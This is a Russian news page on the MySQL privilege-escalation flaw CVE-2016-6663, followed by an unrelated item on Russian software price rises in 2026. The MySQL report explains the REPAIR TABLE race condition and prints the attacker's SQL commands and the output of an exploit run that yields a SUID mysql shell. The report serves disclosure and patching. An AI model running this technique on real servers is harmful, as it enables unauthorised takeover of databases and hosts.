Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Давид Голански (Dawid Golunski) продолжил публикацию исследований безопасности MySQL. В сентябре им были опубликованы сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root.

Техника атаки была ограничена пользователями с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл информацию о новой уязвимости (CVE-2016-6663), позволяющей обойти систему ограничения привилегий MySQL.

Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю, имеющему доступ к СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT, получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL, пишет opennet.ru.

Уязвимость основана на использовании состояния гонки при работе с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы MySQL в данной директории будут размещены под пользователем mysql:

   attacker@debian:~$ ls -ld /tmp/disktable/
   drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

   mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

   attacker@debian:~$ ls -l /tmp/disktable/
   -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

При выполнении команды "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. На завершающей стадии работы "REPAIR TABLE" к ссылке на /var/lib/mysql будет применена операция chmod() с параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установив на файл с таблицей права 777.

Через манипуляцию с битом SUID и его переносом на исполняемый файл, можно добиться выполнения произвольного кода в системе с правами mysql. Для этого на директорию пользователя следует выставить "sticky bit" и установить права drwxrwsrwx, после чего создание таблицы в данной директории приведёт к образованию файла с правами -rw-rw----, владельцем mysql и группой как у атакующего. Доступ членов группы на запись даёт возможность заменить содержимое файла таблицы на /bin/bash, после чего можно использовать вышеописанное состояние гонки для переноса на файл таблицы suid-бита и прав на запуск. В итоге получим исполняемый файл с копией bash и suid-битом для запуска с правами mysql.

   attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb

   [+] Starting the exploit as: 
   uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

   [+] Connecting to the database `pocdb` as attacker@localhost

   [+] Creating exploit temp directory /tmp/mysql_privesc_exploit

   [+] Creating mysql tables 

   DROP TABLE IF EXISTS exploit_table 
   DROP TABLE IF EXISTS mysql_suid_shell 
   CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
   CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

   [+] Copying bash into the mysql_suid_shell table. 
       After the exploitation the following file/table will be assigned SUID and executable bits : 
   -rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Entering the race loop... Hang in there...


   [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 

   -rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

   mysql_suid_shell.MYD-4.3$ whoami
   mysql

   mysql_suid_shell.MYD-4.3$ id
   uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

   mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
   -rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
   -rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
   -rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI

Уязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52, 10.1.18 и 10.0.28, в Percona Server 5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17, 5.7.14-26.17 и 5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian, RHEL, Ubuntu, FreeBSD, Ubuntu и SUSE. 

Российское ПО с начала года подорожало на 10-20%

Цены на российское ПО с начала 2026 года выросли на 10–20%. Это связано с сохраняющейся высокой ключевой ставкой Банка России, ростом налоговой нагрузки и затрат на персонал, а также с резким подорожанием оборудования. В среднем рост цен составил 10–20%, но по отдельным направлениям он может быть и выше.

Такую оценку привёл «Коммерсантъ» на основе анализа изменений в предложениях ИТ-компаний и интеграторов.

«В отдельных сегментах — нишевые ИТ-решения, ИБ, инфраструктурное ПО — рост цен достигает 30%, особенно там, где ограниченная конкуренция. Базовое ПО прибавило 10–15% к стоимости лицензий и поддержки, сложные и дефицитные решения — 15–25%», — прокомментировал ситуацию на рынке ИТ-директор «СКБ Контур» Артём Прескарьян.

Среди основных причин подорожания участники рынка называют сохраняющийся высокий уровень ключевой ставки Банка России, рост налоговой нагрузки и расходов на персонал, а также продолжающийся рост цен на ИТ-оборудование и комплектующие. Так, стоимость некоторых видов серверного оборудования за год удвоилась. Дополнительное влияние оказали ужесточение требований со стороны заказчиков и низкий уровень конкуренции в ряде ниш.

При этом, по мнению директора департамента e-commerce ГК «КОРУС Консалтинг» Марии Бар-Бирюковой, часть компаний начала превентивно повышать цены ещё осенью, когда стало известно об отмене льгот для ИТ-отрасли. Это вызвало эффект «инфляции ожиданий»: некоторые вендоры заранее заложили в стоимость продуктов возможные потери из-за роста налоговой нагрузки. Однако после отмены наиболее жёсткой меры — лишения отрасли льгот по НДС — значительного скачка цен удалось избежать.

Директор практики «Технологическая трансформация» «Рексофт Консалтинг» Алексей Богомолов назвал важным фактором роста цен на ПО подорожание ИТ-оборудования, прежде всего серверного. Это общемировой процесс, вызванный перераспределением спроса на различные виды памяти на фоне бума искусственного интеллекта.

Директор по развитию ИИ «Группы Астра» Станислав Ежов назвал такую ситуацию серьёзным вызовом для всей отрасли центров обработки данных:

«Для дата-центров это прямой удар по себестоимости сразу с трёх сторон: дорожает оборудование, растут тарифы на электроэнергию, дорожает строительство. Часть операторов уже подняли тарифы, и это будет продолжаться».

Ситуацию осложняет и то, что значительная часть ЦОД, как напомнил Станислав Ежов, работает на оборудовании с истекающим ресурсом, которое необходимо срочно заменять. Это уже приводит к массовым отказам техники.

В комментарии для издания Минцифры сообщило, что выступает за саморегулирование в сфере ценообразования. При этом ведомство оставляет за собой возможность при необходимости применять дополнительные инструменты регулирования.

RSS: Новости на портале Anti-Malware.ru